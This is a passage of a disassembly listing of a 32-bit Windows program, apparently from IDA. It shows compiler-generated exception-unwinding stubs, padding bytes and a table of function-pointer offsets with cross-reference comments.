; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-4FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B34B:				; DATA XREF: ___:004416ACo
		lea	ecx, [ebp-434h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_4207E0	proc near		; DATA XREF: sub_4207E0+2o
		mov	eax, offset dword_441680
		jmp	sub_4367C8
SEH_4207E0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B37B:				; DATA XREF: ___:004416E4o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B383:				; DATA XREF: ___:004416ECo
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B38B:				; DATA XREF: ___:004416F4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B3A3:				; DATA XREF: ___:0044170Co
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B3BB:				; DATA XREF: ___:00441724o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B3D3:				; DATA XREF: ___:0044173Co
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B3EB:				; DATA XREF: ___:00441754o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B3FB:				; DATA XREF: ___:00441764o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B40B:				; DATA XREF: ___:00441774o
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_420E10	proc near		; DATA XREF: sub_420E10+8o
		mov	eax, offset dword_4416B8
		jmp	sub_4367C8
SEH_420E10	endp

; ---------------------------------------------------------------------------
		db 33h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	j_nullsub_11
		add	esp, 8
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_422650	proc near		; DATA XREF: sub_422650+2o
		mov	eax, offset dword_4417A0
		jmp	sub_4367C8
SEH_422650	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	j_nullsub_11
		add	esp, 8
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_4226E0	proc near		; DATA XREF: sub_4226E0+2o
		mov	eax, offset dword_4417D0
		jmp	sub_4367C8
SEH_4226E0	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_4227F0	proc near		; DATA XREF: sub_4227F0+2o
		mov	eax, offset dword_441800
		jmp	sub_4367C8
SEH_4227F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-624h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_422A40	proc near		; DATA XREF: sub_422A40+8o
		mov	eax, offset dword_441850
		jmp	sub_4367C8
SEH_422A40	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_425980	proc near		; DATA XREF: sub_425980+2o
		mov	eax, offset dword_4418D8
		jmp	sub_4367C8
SEH_425980	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-40h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B6A4:				; DATA XREF: ___:00425BD2o
		mov	eax, offset dword_441928
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================



SEH_426450	proc near		; DATA XREF: sub_426450+2o
		mov	eax, offset dword_441A08
		jmp	sub_4367C8
SEH_426450	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B708:				; DATA XREF: ___:00441A64o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_4264C0	proc near		; DATA XREF: sub_4264C0+2o
		mov	eax, offset dword_441A38
		jmp	sub_4367C8
SEH_4264C0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B758:				; DATA XREF: ___:00441AB4o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_426560	proc near		; DATA XREF: sub_426560+2o
		mov	eax, offset dword_441A88
		jmp	sub_4367C8
SEH_426560	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_4266A0	proc near		; DATA XREF: sub_4266A0+2o
		mov	eax, offset dword_441AD8
		jmp	sub_4367C8
SEH_4266A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================



SEH_4269A0	proc near		; DATA XREF: sub_4269A0+2o
		mov	eax, offset dword_441B08
		jmp	sub_4367C8
SEH_4269A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_426A60	proc near		; DATA XREF: sub_426A60+2o
		mov	eax, offset dword_441B38
		jmp	sub_4367C8
SEH_426A60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================



SEH_426EB0	proc near		; DATA XREF: sub_426EB0+2o
		mov	eax, offset dword_441B68
		jmp	sub_4367C8
SEH_426EB0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_426F70	proc near		; DATA XREF: sub_426F70+2o
		mov	eax, offset dword_441B98
		jmp	sub_4367C8
SEH_426F70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================



SEH_427590	proc near		; DATA XREF: sub_427590+2o
		mov	eax, offset dword_441BC8
		jmp	sub_4367C8
SEH_427590	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_427650	proc near		; DATA XREF: sub_427650+2o
		mov	eax, offset dword_441BF8
		jmp	sub_4367C8
SEH_427650	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================



SEH_427DC0	proc near		; DATA XREF: sub_427DC0+2o
		mov	eax, offset dword_441C28
		jmp	sub_4367C8
SEH_427DC0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B8A8:				; DATA XREF: ___:00441C84o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_427E30	proc near		; DATA XREF: sub_427E30+2o
		mov	eax, offset dword_441C58
		jmp	sub_4367C8
SEH_427E30	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B908:				; DATA XREF: ___:00441CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_427EF0	proc near		; DATA XREF: sub_427EF0+2o
		mov	eax, offset dword_441CB0
		jmp	sub_4367C8
SEH_427EF0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43B968:				; DATA XREF: ___:00441D34o
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_428160	proc near		; DATA XREF: sub_428160+2o
		mov	eax, offset dword_441D08
		jmp	sub_4367C8
SEH_428160	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014B0
; ---------------------------------------------------------------------------


loc_43B9AB:				; DATA XREF: ___:00441D74o
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BA92:				; DATA XREF: sub_4282C0+8o
		mov	eax, offset dword_441D48
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================



SEH_4299C0	proc near		; DATA XREF: sub_4299C0+2o
		mov	eax, offset dword_441E30
		jmp	sub_4367C8
SEH_4299C0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_429AA0	proc near		; DATA XREF: sub_429AA0+2o
		mov	eax, offset dword_441E60
		jmp	sub_4367C8
SEH_429AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================



SEH_429D00	proc near		; DATA XREF: sub_429D00+2o
		mov	eax, offset dword_441E90
		jmp	sub_4367C8
SEH_429D00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================



SEH_42A090	proc near		; DATA XREF: sub_42A090+2o
		mov	eax, offset dword_441EC0
		jmp	sub_4367C8
SEH_42A090	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_42A150	proc near		; DATA XREF: sub_42A150+8o
		mov	eax, offset dword_441EF0
		jmp	sub_4367C8
SEH_42A150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



SEH_42AEC0	proc near		; DATA XREF: sub_42AEC0+5o
		mov	eax, offset dword_441F20
		jmp	sub_4367C8
SEH_42AEC0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43BB90:				; DATA XREF: ___:0042AFD5o
		mov	eax, offset dword_441F80
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BBA8:				; DATA XREF: ___:0044200Co
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_42B060	proc near		; DATA XREF: sub_42B060+2o
		mov	eax, offset dword_441FE0
		jmp	sub_4367C8
SEH_42B060	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_42B240	proc near		; DATA XREF: sub_42B240+2o
		mov	eax, offset dword_442020
		jmp	sub_4367C8
SEH_42B240	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43BC08:				; DATA XREF: ___:0042B2E2o
		mov	eax, offset dword_442050
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================



SEH_42B480	proc near		; DATA XREF: sub_42B480+2o
		mov	eax, offset dword_442080
		jmp	sub_4367C8
SEH_42B480	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4420B0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_42B880	proc near		; DATA XREF: sub_42B880+8o
		mov	eax, offset dword_4420E0
		jmp	sub_4367C8
SEH_42B880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_42BB70	proc near		; DATA XREF: sub_42BB70+2o
		mov	eax, offset dword_442110
		jmp	sub_4367C8
SEH_42BB70	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BD84:				; DATA XREF: ___:0042BE68o
		mov	eax, offset dword_442168
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_4347B0	proc near		; DATA XREF: sub_4347B0+2o
		mov	eax, offset dword_442250
		jmp	sub_4367C8
SEH_4347B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BDEB:				; DATA XREF: ___:004422B4o
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BDF6:				; DATA XREF: ___:004348A8o
		mov	eax, offset dword_442288
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_4351E0	proc near		; DATA XREF: sub_4351E0+2o
		mov	eax, offset dword_4422C0
		jmp	sub_4367C8
SEH_4351E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_4355E0	proc near		; DATA XREF: sub_4355E0+2o
		mov	eax, offset dword_4422F0
		jmp	sub_4367C8
SEH_4355E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_4356F0	proc near		; DATA XREF: sub_4356F0+8o
		mov	eax, offset dword_442328
		jmp	sub_4367C8
SEH_4356F0	endp

; ---------------------------------------------------------------------------
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db '',0
		align 4
		dd 3E3h	dup(0)
off_43E000	dd offset sub_4017C6	; DATA XREF: sub_4036D0+3FEo
off_43E004	dd offset byte_4367D0	; DATA XREF: sub_403C70+2o
off_43E008	dd offset off_402009	; DATA XREF: sub_406BA0+2o sub_406C00o
off_43E00C	dd offset sub_4021F8	; DATA XREF: ___:00407075o
off_43E010	dd offset loc_402171	; DATA XREF: sub_409AE0+4o
					; sub_409B40+Bo ...
off_43E014	dd offset loc_402027	; DATA XREF: sub_40ADC0+2o
					; sub_40AE10+1Co
		dd offset byte_4367D0
		align 10h
off_43E020	dd offset loc_401ACD	; DATA XREF: ___:0040B118o
					; sub_40B170+1Eo
flt_43E024	dd 1.0			; DATA XREF: ___:0040B7C6r
off_43E028	dd offset sub_401A3C	; DATA XREF: sub_40F600+157o
					; sub_40FDA0+1Do
		dd offset sub_40212B
		dd 0
off_43E034	dd offset sub_401AB9	; DATA XREF: sub_40F600+142o
					; sub_40FDA0+23o
off_43E038	dd offset loc_40115E	; DATA XREF: sub_411860+36o
					; sub_411910+1Do
		dd offset loc_401FE6
		dd 0
off_43E044	dd offset sub_4014BF	; DATA XREF: ___:0041318Do
					; sub_413220+1Fo
		dd offset sub_401CF8
		align 10h
off_43E050	dd offset loc_4019BF	; DATA XREF: sub_416C00+6o
					; sub_417DF0+8o
		dd offset sub_4020A9
		dd 0
off_43E05C	dd offset loc_401C99	; DATA XREF: sub_416C60+6o
					; sub_417E20+8o
		dd offset sub_401230
		align 8
off_43E068	dd offset loc_40191A	; DATA XREF: sub_416CC0o sub_41FBD0+8o
		dd offset sub_401CDF
		dd 0
off_43E074	dd offset sub_40111D	; DATA XREF: sub_416D10o
					; sub_4190B0+36o
off_43E078	dd offset loc_4014A1	; DATA XREF: sub_417BC0+68o
off_43E07C	dd offset sub_401064	; DATA XREF: sub_417C60+8Bo
off_43E080	dd offset sub_40138E	; DATA XREF: sub_417D30+74o
off_43E084	dd offset loc_401B6D	; DATA XREF: sub_417E50+7Bo
off_43E088	dd offset loc_40202C	; DATA XREF: sub_417F10+7Bo
